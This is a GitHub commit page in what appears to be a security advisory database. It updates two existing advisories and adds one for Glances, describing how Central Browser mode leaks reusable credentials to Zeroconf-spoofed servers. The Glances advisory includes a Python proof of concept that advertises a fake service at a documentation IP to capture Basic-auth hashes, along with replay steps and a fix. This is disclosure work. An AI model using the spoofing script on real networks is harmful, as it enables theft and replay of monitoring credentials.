Skip to content

Commit 32cacf6

Browse files
1 parent d10d823 commit 32cacf6

File tree

3 files changed

+92
-5
lines changed

3 files changed

+92
-5
lines changed

advisories/github-reviewed/2026/03/GHSA-5xxp-2vrj-x855/GHSA-5xxp-2vrj-x855.json

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5xxp-2vrj-x855",
4-
"modified": "2026-03-13T16:10:12Z",
4+
"modified": "2026-03-16T16:37:09Z",
55
"published": "2026-03-13T16:10:12Z",
66
"aliases": [
77
"CVE-2026-32614"
@@ -44,22 +44,31 @@
4444
"type": "WEB",
4545
"url": "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
4646
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
50+
},
4751
{
4852
"type": "PACKAGE",
4953
"url": "https://github.com/emmansun/gmsm"
5054
},
5155
{
5256
"type": "WEB",
5357
"url": "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://pkg.go.dev/vuln/GO-2026-4694"
5462
}
5563
],
5664
"database_specific": {
5765
"cwe_ids": [
58-
"CWE-20"
66+
"CWE-20",
67+
"CWE-347"
5968
],
6069
"severity": "CRITICAL",
6170
"github_reviewed": true,
6271
"github_reviewed_at": "2026-03-13T16:10:12Z",
63-
"nvd_published_at": null
72+
"nvd_published_at": "2026-03-16T14:19:39Z"
6473
}
6574
}

advisories/github-reviewed/2026/03/GHSA-m4q3-457p-hh2x/GHSA-m4q3-457p-hh2x.json

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-m4q3-457p-hh2x",
4-
"modified": "2026-03-13T15:40:11Z",
4+
"modified": "2026-03-16T16:36:34Z",
55
"published": "2026-03-13T15:40:11Z",
66
"aliases": [
77
"CVE-2026-31886"
@@ -40,9 +40,21 @@
4040
"type": "WEB",
4141
"url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-m4q3-457p-hh2x"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31886"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/dagu-org/dagu/commit/12c2e5395bd9331d49ca103593edfd0db39c4f38"
50+
},
4351
{
4452
"type": "PACKAGE",
4553
"url": "https://github.com/dagu-org/dagu"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://pkg.go.dev/vuln/GO-2026-4693"
4658
}
4759
],
4860
"database_specific": {
@@ -52,6 +64,6 @@
5264
"severity": "CRITICAL",
5365
"github_reviewed": true,
5466
"github_reviewed_at": "2026-03-13T15:40:11Z",
55-
"nvd_published_at": null
67+
"nvd_published_at": "2026-03-13T19:54:37Z"
5668
}
5769
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vx5f-957p-qpvm",
4+
"modified": "2026-03-16T16:36:06Z",
5+
"published": "2026-03-16T16:36:06Z",
6+
"aliases": [
7+
"CVE-2026-32634"
8+
],
9+
"summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers",
10+
"details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol='rpc'):\n new_server = {\n 'key': name,\n 'name': name.split(':')[0], # Short name\n 'ip': ip, # IP address seen by the client\n 'port': port,\n ...\n 'type': 'DYNAMIC',\n }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n srv_name,\n new_server_ip,\n new_server_port,\n protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server['ip']` and instead uses the untrusted advertised `server['name']` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n if server['password'] != \"\":\n if server['status'] == 'PROTECTED':\n clear_password = self.password.get_password(server['name'])\n if clear_password is not None:\n server['password'] = self.password.get_hash(clear_password)\n uri = 'http://{}:{}@{}:{}'.format(\n server['username'],\n server['password'],\n server['name'],\n server['port'],\n )\n else:\n uri = 'http://{}:{}'.format(server['name'], server['port'])\n return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n server['uri'] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n ...\n try:\n return self._password_dict[host]\n except (KeyError, TypeError):\n try:\n return self._password_dict['default']\n except (KeyError, TypeError):\n return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server['name']`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server['name'])`\n- `glances/client_browser.py:76` uses `server['ip']` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{'name': <advertised-name>, 'ip': <discovered-ip>, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@<advertised-name>:<port>`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server['name']`, not `server['ip']`\n- the generated credential-bearing URI uses `server['name']`, not `server['ip']`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\nglobals_mod.json_loads = lambda x: x\nsys.modules['glances.globals'] = globals_mod\n\nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n debug=lambda *a, **k: None,\n warning=lambda *a, **k: None,\n info=lambda *a, **k: None,\n error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n def get_password(self, host=None):\n print(f'lookup:{host}')\n return 'defaultpassword'\n def get_hash(self, password):\n return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n 'name': 'trusted-host',\n 'ip': '203.0.113.77',\n 'port': 61209,\n 'username': 'glances',\n 'password': None,\n 'status': 'PROTECTED',\n 'type': 'DYNAMIC',\n}\n\nprint(sl.get_uri(server))\nprint(server)\n'@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n \"_glances._tcp.local.\",\n \"198.51.100.50:61209._glances._tcp.local.\",\n addresses=[socket.inet_aton(\"198.51.100.50\")],\n port=61209,\n properties={b\"protocol\": b\"rpc\"},\n server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n if server.get('type') == 'DYNAMIC':\n return server['ip']\n return server['name']\n\ndef _get_preconfigured_password(self, server):\n # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n if server.get('type') == 'DYNAMIC':\n return None\n return self.password.get_password(server['name'])\n\ndef get_uri(self, server):\n host = self._get_connect_host(server)\n if server['password'] != \"\":\n if server['status'] == 'PROTECTED':\n clear_password = self._get_preconfigured_password(server)\n if clear_password is not None:\n server['password'] = self.password.get_hash(clear_password)\n return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])\n return 'http://{}:{}'.format(host, server['port'])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server['name'])` directly.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nicolargo/glances"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-346",
59+
"CWE-522"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-03-16T16:36:06Z",
64+
"nvd_published_at": null
65+
}
66+
}

0 commit comments

Comments
 (0)